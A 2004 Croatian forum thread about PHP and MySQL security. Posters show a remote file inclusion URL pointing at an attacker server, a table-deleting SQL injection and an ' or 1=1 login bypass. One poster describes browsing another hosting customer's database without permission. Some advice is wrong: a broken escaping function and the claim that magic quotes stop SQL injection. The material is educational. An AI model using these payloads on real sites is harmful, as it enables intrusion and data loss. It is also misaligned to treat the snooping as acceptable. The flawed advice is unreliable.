View previous topic :: View next topic |
Author |
Message |
unique
Joined: 29 Mar 2004 Posts: 655
|
Posted: 11.09.2004 22:23 Post subject: safe&cool |
|
|
radi se o sigurnost u php-u ... nemam iskustva na tom području pa me zanima kolko je to sve skupa sigurno (mySQL db) npr. za neki log in ili tako nešto, jel treba kaj dodatno ili je samo po sebi sigurno ....
dajte mi neki hint ili nešto |
_________________ Activate interlock! Dynotherms connected! Infracells up! Mega thrusters are go! LET'S GO VOLTRON FORCE! |
|
Back to top |
|
|
maxy
Joined: 07 Sep 2003 Posts: 894 Location: Zagreb
|
Posted: 11.09.2004 23:13 Post subject: |
|
|
sigurnost kakvog tipa?
hakerski upad? |
|
|
Back to top |
|
|
edgar
Joined: 28 Dec 2003 Posts: 916 Location: Pred monitorom
|
Posted: 12.09.2004 00:19 Post subject: |
|
|
Pa što se samog php-a tiče, relativno je siguran. Sve ovisi o tvojoj snalažljivosti i idejama i načinima na koje ćeš zaštiti svoju aplikaciju.
Sam PHP izvorno nije siguran, jer ako možeš do servera, možeš i do PHP sourcea. Dakle, boljka je što ne postoji kompajler i kompajliranje skripti
Što se MySQL-a tiče, i on je relativno siguran. Bitno je kako ga podesiš, i kako radiš s njim. Moraš paziti na SQL injectione i zapravo si se osigurao. |
_________________ Digital Genetics | Koote | Nuspojava |
|
Back to top |
|
|
unique
Joined: 29 Mar 2004 Posts: 655
|
Posted: 12.09.2004 10:28 Post subject: |
|
|
maxy wrote: | sigurnost kakvog tipa?
hakerski upad? |
ajmo reć hakerski (ovisi tko što podrazumjeva pod tim...)- znaći da netko nema (i nesmije imat)pristup podacima... -> to je cilj
@edgar:
"ako možeš do servera možeš i do sourca" kak to misliš, i moj browser može do servera ili si to mislio kao ajmo reć neki admin
pitanje je slijedeće, kako "unaprijedit" sigurnost?
tenks guys |
_________________ Activate interlock! Dynotherms connected! Infracells up! Mega thrusters are go! LET'S GO VOLTRON FORCE! |
|
Back to top |
|
|
edgar
Joined: 28 Dec 2003 Posts: 916 Location: Pred monitorom
|
Posted: 12.09.2004 10:54 Post subject: |
|
|
Ne kažem da može svak niti da je lako niti moguce uvijek, ali moguce je. Za zaštitu od toga može pomoći nekakav enkripter. Ako ti host ima instaliran Zend engine (svi skoro imaju) onda mozes koristit njihov enkripter. Plača se naravno.
To je to, a što se tiče ovih drugih stvari, nema tu puno filozofije. Moraš pazit da ti je zasticeno logiranje gdje treba bit, da ti nitko ne može u SQL bazu ubacit string koji bi mogao izmijenit podatke na njemu pozeljan nacin ili mu dati pristup podacima.
edity: 2 typos
Last edited by edgar on 12.09.2004 14:29; edited 1 time in total |
_________________ Digital Genetics | Koote | Nuspojava |
|
Back to top |
|
|
maxy
Joined: 07 Sep 2003 Posts: 894 Location: Zagreb
|
Posted: 12.09.2004 13:33 Post subject: |
|
|
ajmo o sikjuritiju
recimo da imas dobrog sys admina koji ti kompletan server administrira i updatea da te ne zbombaju hakeri - imas sada ove probleme.
tvoj sajt se nalazi na hostu koji hosta dodatnih 2, 3 ili 50 sajtova.
gdje moze biti problem - ako nema upaljen open_basedir direktivu, ti mozes pristupati podacima od ostalih sajtova.
primjerice, takav je gamer gdje ako imas acc. onda mozes bez problema posnjofati druge direktorije (od drugih sajtova).
i gdje je tu problem - problem je slijedeci - makar ti ne mozes pisati i brisati po tudjem direktoriju mozes mu naci direktorij koji ima chmod 777. u tom direktoriju MOZES pisati. obicno su direktoriji u koje se uploadaju stvari preko web sucelja chmodani 777 (inace ne radi upload).
dakle, to je security rizik #1 i to je do tvog hosta.
security rizik #2 je lose napisana php aplikacija koja radi sa mysqlom.
evo primjer loseg koda:
<?php
$include = $_GET['include'];
include($include);
?>
index.php?include=vijesti.php
sto kaze da iz GET varijable pobere fajl koji da se includa.
ti mozes na to mjest dopisati: index.php?include=http://mojserver/haker.php
i namjestis server da ne parsa php kod sto znaci da ce tvoj php kod biti ukljucen u php kod na ovoj losoj skripti (zyt je upuceniji u ovo od mene).
SQL injection napad.
ima gomila dinamickih sajtova koji prikazuju podatke ovako:
index.php?procitaj_vijest=da&id=123
sad, oces id od vijesti - nista lakse:
Code: | $id = $_GET['id']; // koji je 123 i sada radsi query
$query = "SELECT * FROM moja_tablica WHERE id = '$id'";
mysql_query($query); |
LOSE!
ostavio si si OGROMAN potencijal da ti netko pobrise sve podatke iz tablice. kako?
jednostavno:
covjek upise:
tvojserver.com/index.php?procitaj_vijest=da&id=';delete from tablica --
i ode tebi sve sto imas u tablici imena "tablica".
vise o SQL injectionu: http://66.102.9.104/search?q=cache:eVjQBqzJKdIJ:www.nextgenss.com/papers/advanced_sql_injection.pdf+sql+injection&hl=hr
dakle, php i mysql te integritet podataka su sigurni i ako je system admin odradio svoj posao dobro onda ce samo autorizirani korisnici moci vidjeti potrebne podatke.
ako si ti dobro pisao skriptu onda ti nitko nece moci prebrisati upload direktorij sa svojim fileovima ili ti obrisati bazu podataka.
ako se sjetim jos neceg budem dodao. |
|
|
Back to top |
|
|
maxy
Joined: 07 Sep 2003 Posts: 894 Location: Zagreb
|
Posted: 12.09.2004 13:35 Post subject: |
|
|
edgar wrote: | Ne kažem da može svak niti da je lako niti moguce uvijek, ali moguce je. Za zaštitu od toga može pomoći nekakav enkripter. Ako ti host ima instaliran Zend engine (svi skoro imaju) onda mozes koristit njihov enkripter. Plača se naravno.
|
to je za kriptiranje php koda tako da netko cak niti php kod ne moze vidjeti te ga iskoristiti.
zar se to ne koristi kad das nekom klijentu php kod a on ti ne plati? pa mu das polovican kod i jos ga enkriptiras. |
|
|
Back to top |
|
|
edgar
Joined: 28 Dec 2003 Posts: 916 Location: Pred monitorom
|
Posted: 12.09.2004 14:30 Post subject: |
|
|
Eto, Maxy ti je dao i odlične primjere.
maxy wrote: |
to je za kriptiranje php koda tako da netko cak niti php kod ne moze vidjeti te ga iskoristiti.
zar se to ne koristi kad das nekom klijentu php kod a on ti ne plati? pa mu das polovican kod i jos ga enkriptiras. |
Da . |
_________________ Digital Genetics | Koote | Nuspojava |
|
Back to top |
|
|
che.UP mi3.crew
Joined: 07 Sep 2003 Posts: 2320 Location: zagreb
|
Posted: 12.09.2004 16:13 Post subject: |
|
|
maxy wrote: |
ti mozes na to mjest dopisati: index.php?include=http://mojserver/haker.php
i namjestis server da ne parsa php kod sto znaci da ce tvoj php kod biti ukljucen u php kod na ovoj losoj skripti (zyt je upuceniji u ovo od mene).
|
ovaj korak nije potreban, radi i sa obicnim txt fileom koji je u biti php :) jos lakse i jos ubojitije :) |
_________________ UP | TypeTester | Accommodations App
Meni u Firefox-u ne radi AJAX |
|
Back to top |
|
|
unique
Joined: 29 Mar 2004 Posts: 655
|
Posted: 12.09.2004 17:09 Post subject: |
|
|
all,
tenkju veri mač |
_________________ Activate interlock! Dynotherms connected! Infracells up! Mega thrusters are go! LET'S GO VOLTRON FORCE! |
|
Back to top |
|
|
maxy
Joined: 07 Sep 2003 Posts: 894 Location: Zagreb
|
Posted: 12.09.2004 17:22 Post subject: |
|
|
che.UP wrote: | ovaj korak nije potreban, radi i sa obicnim txt fileom koji je u biti php jos lakse i jos ubojitije |
mudar, mudar |
|
|
Back to top |
|
|
Sulien
Joined: 04 Jan 2004 Posts: 2905 Location: Zagreb
|
Posted: 12.09.2004 18:12 Post subject: |
|
|
Maxy, potvrdio si sve moje sumnje... Oduvijek sam smatrao da se tako nešto može preko URL-a ako je netko neoprezan, i sad vidim ne da se samo i može, već je prilično opasno
PITANJE: spominjete upad na server i čitanje izvornog php koda. Čuo sam da se to može napraviti bez nekakvog posebnog hakiranja, tj. da to više i nije nekakva mudrost. Dobro, možda još uvijek nitko ne može pisati i brisati po fajlovima na serveru, ali čovjek nađe dio koda koji je login za mySQL, i što onda? Bye bye tablice ili ?? Kolika je teoretska opasnost od toga? |
|
|
Back to top |
|
|
maxy
Joined: 07 Sep 2003 Posts: 894 Location: Zagreb
|
Posted: 12.09.2004 19:14 Post subject: |
|
|
vecina servera je podesena tako da se mysqlu moze pristupit iskljucivo sa localhosta, odnosno moze mu pristupiti skripta koja je fizicki na istom racunalu tako da ti username i password nece nesto previse pomoci ako ih se domognes.
najveca opasnost je lose strukturirana aplikacija a takav je npr. internet monitor koji ima SQL propust.
no, nije to jedina opasnost.
neki sajtovi (odnosno velik broj sajtova) je bolan na sql napad koji ne brise nista nego logira korisnika kao administratora
kako - imas username i password field.
upises za username '' or 1=1 (sto ce dati true) i za password istu stvar i kada se izvrsi sql naredba koja glasi
SELECT * FROM users where username = '';or 1=1 AND password='' or 1=1;
to ce vratiti true jer je 1=1 i ekipa obicno gleda da li postoji 1 redak sa mysql_num_rows funkcijom koja ce u ovom slucaju vratit 1. i fk0rz, logira nepostojeceg korisnika.
ovo je grub primjer i ne radi (jer mi je query neispravan) no SQL napadi se ne moraju upotrijebiti iskljucivo za brisanje.
postoji jos jedna rupcaga koja natjera server da salje spam mail i tako si istrosi bandwith, no o tom necu sada jer niti sam ne znam na pamet kako to radi ali treba zapamtiti da na BILO koji podatak koji dolazi od korisnika treba upotrijebiti mysql_real_ecape_string i addslashes te removeslashes.
cak i na cookije jer se i u cookie moze pohraniti SQL napad
btw. zaboravio sam napomenuti da su SQL napadi onemoguceni ukoliko je magic_quotes_gpc stavljen na ON. |
|
|
Back to top |
|
|
edgar
Joined: 28 Dec 2003 Posts: 916 Location: Pred monitorom
|
Posted: 12.09.2004 19:20 Post subject: |
|
|
I napomena da je unatoč magic quotesu na on, potrebno paziti što i kako zapisuješ u sql bazu. |
_________________ Digital Genetics | Koote | Nuspojava |
|
Back to top |
|
|
maxy
Joined: 07 Sep 2003 Posts: 894 Location: Zagreb
|
Posted: 12.09.2004 20:10 Post subject: |
|
|
napomena: na microsoft SQL serveru je puno lakse obaviti SQL napad posto postoji nacin kako da dobijes listu imena tablica.
nekidan sam gledao hg-spotov web koji ne da ima rupu nego ima crnu rupetinu od mogucnosti za delete.
necu sad govorit kako da obrisete neciju bazu nego kako bi se trebalo osigurati od napada.
ako ne znate da li imate magic_quotes_gpc upaljene, onda iskoristite slijedecu funkciju
<?php
function escape_string(&$string) {
if(!get_magic_quotes_gpc) {
return addslashes($string);
} else {
return addslashes($string);
}
?>
vrlo vrlo jednostavna funkcija koju koristi dosta ljudi koja sve znakovne nizove escapea, odnosno pretvori jednostruke navodnike (') u '\
ako nekoga ovo zanima detaljnije - potrazite na www.sitepoint.com forumima vise o securityu php aplikacija i nacinima escapeanja stringova (ovaj nacin navodno nije po ANSI standardima, tako nesto sam procitao ali to je bilo davno i samo sam preletio preko teksta pa zato upucujem na opsirniji tekst). |
|
|
Back to top |
|
|
Phiber
Joined: 18 Apr 2004 Posts: 319 Location: Čakovec, Kroejša
|
Posted: 12.09.2004 22:49 Post subject: |
|
|
da se nadovezem na maxyev prijasnji post (negdje od pocetka),
ako koristis URL da ti includa neki file, mozes stavit switch case:
Code: |
<?php
$file=$_GET['file'];
switch($file)
{
case "kontakt":
include ("kontakt.php");
break;
case "onama":
include ("onama.php");
break;
case "baka":
include ("baka.php");
break;
case "kontakt":
include ("kontakt.php");
break;
default:
include ("prva.php");
}
?>
|
znaci: imas url-ove: index.php?file=baka, index.php?file=onama.... itd., za svaki kojeg si definirao CASE, puknut ce ti sve pod tim kejsom do "break;". (DOH!)
ako netko pozove index.php?file=auto, includat ce ti prva.php (default:)
ovo je najjednostavnije, po meni. nadam se da pomaze. |
_________________ - Xatrix Security news portal -- redizajn napravljen, al radim css
- - TIP / Rapid IT : web design & hosting -- za ovog ne, taj je u ladici |
|
Back to top |
|
|
silence
Joined: 24 Apr 2004 Posts: 890 Location: .....ni na nebu, ni na zemlji.....
|
Posted: 13.09.2004 10:14 Post subject: |
|
|
heh....kaj se tiče CHMOD 777.
sjećaš se one moje upload skripte koju ste komentirali?...no da, promjenio sam ju, ali i dalje rađe prčkam prilikom uploada sa FTP funkcijama, nego da ostavim ijedan 777.
oscommerce, koji sam vidio na dosta naših webova traži CHMOD 777 i to je bilo prvo kaj sam išo mjenjat kad smo dizali jedan demo oscommerce webshopa.
ak niš drugo, možeš promjenit CHMOD na 777 kad stavljaš nekaj u direktorij i onda ga vratit na 755 nakon kaj si obavio operaciju. |
_________________ This End-User License is an agreement between Microsoft Corporation (hereafter referred to as "Microsoft") and you, the end-user (hereafter referred to as "our bitch"). |
|
Back to top |
|
|
silence
Joined: 24 Apr 2004 Posts: 890 Location: .....ni na nebu, ni na zemlji.....
|
Posted: 13.09.2004 10:22 Post subject: |
|
|
ne mora biti switch
Code: |
if ( $_GET['spoji'] ){
$index = $_GET['spoji'];
} else {
$index = 0;
}
//array sa linkovima koji su mogući,
//definiranje $spoji varijable
$spoji = array ( "naslov",
"korisnici",
"lozinka",
"proizvodi",
"pregledSlika",
"slike",
"vijesti",
"upload" );
include ( "include/".$spoji[$index].".php" );
?> |
baš me zanimaju komentari na ovo. |
_________________ This End-User License is an agreement between Microsoft Corporation (hereafter referred to as "Microsoft") and you, the end-user (hereafter referred to as "our bitch"). |
|
Back to top |
|
|
edgar
Joined: 28 Dec 2003 Posts: 916 Location: Pred monitorom
|
Posted: 13.09.2004 12:17 Post subject: |
|
|
npr moraš pazit i na postavke php-a na serveru na koje vrtis svoj softver.
naime, cesto losiji hostovi ostave ukljucen register_globals (on), a to je velika sigurnosna rupa.
Evo baš sam frendu jutros stavljao jedan sajt online..i vidim da imaju register_globals = on i safe_mode = off, a i vidin da imaju ovakvu semantiku:
/nesto/<prvo slovo imena domene bez www/<ime domene bez www/public_html, e sad ja preko ssh-a ne mogu uc u kataloge drugih musterija, ali vidia sam da apache ne vozi sa suExec.. to jest svi procesi su od apache juzera.. od svih musterija.. to jest.. znaci da apache juzer moze ulaziti u njihov katalog...
drugim rijecima... rupetina! !
Iako ja ne mogu vidit sta pise u PHP-fajlovima drugih musterija, moze apache to jest php...
Evo sad sam vidio db juzer i pass od jedne musterije i malo pregledao mysq bazu podataka... sramota.
osim toga.. sav je kod izlozen tako da sad samo trebam trazit koje variable treba stavit pomocu $_GET requesta da bi mogao se autentificirat na bilo kojoj stranici...
Eto... mala andegdota.. pa zato samo pazi kod koga hostaš svoje stvari. |
_________________ Digital Genetics | Koote | Nuspojava |
|
Back to top |
|
|
unique
Joined: 29 Mar 2004 Posts: 655
|
Posted: 17.09.2004 11:08 Post subject: |
|
|
još sam neš htio pitat
što se tiče POST metode ona je sigurna?? |
_________________ Activate interlock! Dynotherms connected! Infracells up! Mega thrusters are go! LET'S GO VOLTRON FORCE! |
|
Back to top |
|
|
maxy
Joined: 07 Sep 2003 Posts: 894 Location: Zagreb
|
Posted: 17.09.2004 19:32 Post subject: |
|
|
ista stvar vrijedi i za post metodu - svaki korisnicki unos MORAS provjeriti, "ocistiti" te tek onda to pohranjivati ili vrsiti daljnji rad sa time. |
|
|
Back to top |
|
|
unique
Joined: 29 Mar 2004 Posts: 655
|
Posted: 17.09.2004 19:43 Post subject: |
|
|
što se tiče hash funkcija? mhash (on nije integriran u php?)? addslashes koliko je dobar ? i tako to |
_________________ Activate interlock! Dynotherms connected! Infracells up! Mega thrusters are go! LET'S GO VOLTRON FORCE! |
|
Back to top |
|
|
edgar
Joined: 28 Dec 2003 Posts: 916 Location: Pred monitorom
|
Posted: 17.09.2004 19:51 Post subject: |
|
|
Nema tu pitanja 'koliko je dobar?'. Ne možeš to pitati. To je isto kao da pitaš koliko je dobra funkcija sqrt(x) koja kvadrira broj. Ili radi ili ne radi:) ,ali nije 'dobra ili loša' jer zapravo ne radi ništa jako zahtjenvno.
Ovdje pričamo o funkciji koja parsa string i replace-a podatke. A to funkcija radi.. tako da... |
_________________ Digital Genetics | Koote | Nuspojava |
|
Back to top |
|
|
unique
Joined: 29 Mar 2004 Posts: 655
|
Posted: 17.09.2004 19:58 Post subject: |
|
|
edgar wrote: | Ovdje pričamo o funkciji koja parsa string i replace-a podatke. |
pa zato i pitam, to je nekako pre jednostavno pa me zanima koji su neki drugi načini or something
sqrt vadi korijen ? |
_________________ Activate interlock! Dynotherms connected! Infracells up! Mega thrusters are go! LET'S GO VOLTRON FORCE! |
|
Back to top |
|
|
maxy
Joined: 07 Sep 2003 Posts: 894 Location: Zagreb
|
Posted: 17.09.2004 21:39 Post subject: |
|
|
unique wrote: | što se tiče hash funkcija? mhash (on nije integriran u php?)? addslashes koliko je dobar ? i tako to |
a sto zelis postici s time?
Quote: |
Returns a string with backslashes before characters that need to be quoted in database queries etc. These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte). |
pogledas u manual sto radi funkcija i zasto.
poanta je sljedeca: escapeaj svaki korisnicki unost, bilo da on upise nesto u URL, bilo da salje nesto preko forme ili bilo da dobijas neke podatke od korisnikovog cookia.
reci mi koji ti je cilj sa ovim security pitanjima tako da ti damo dat konkretan odgovor na ono sto te doista muci. |
|
|
Back to top |
|
|
|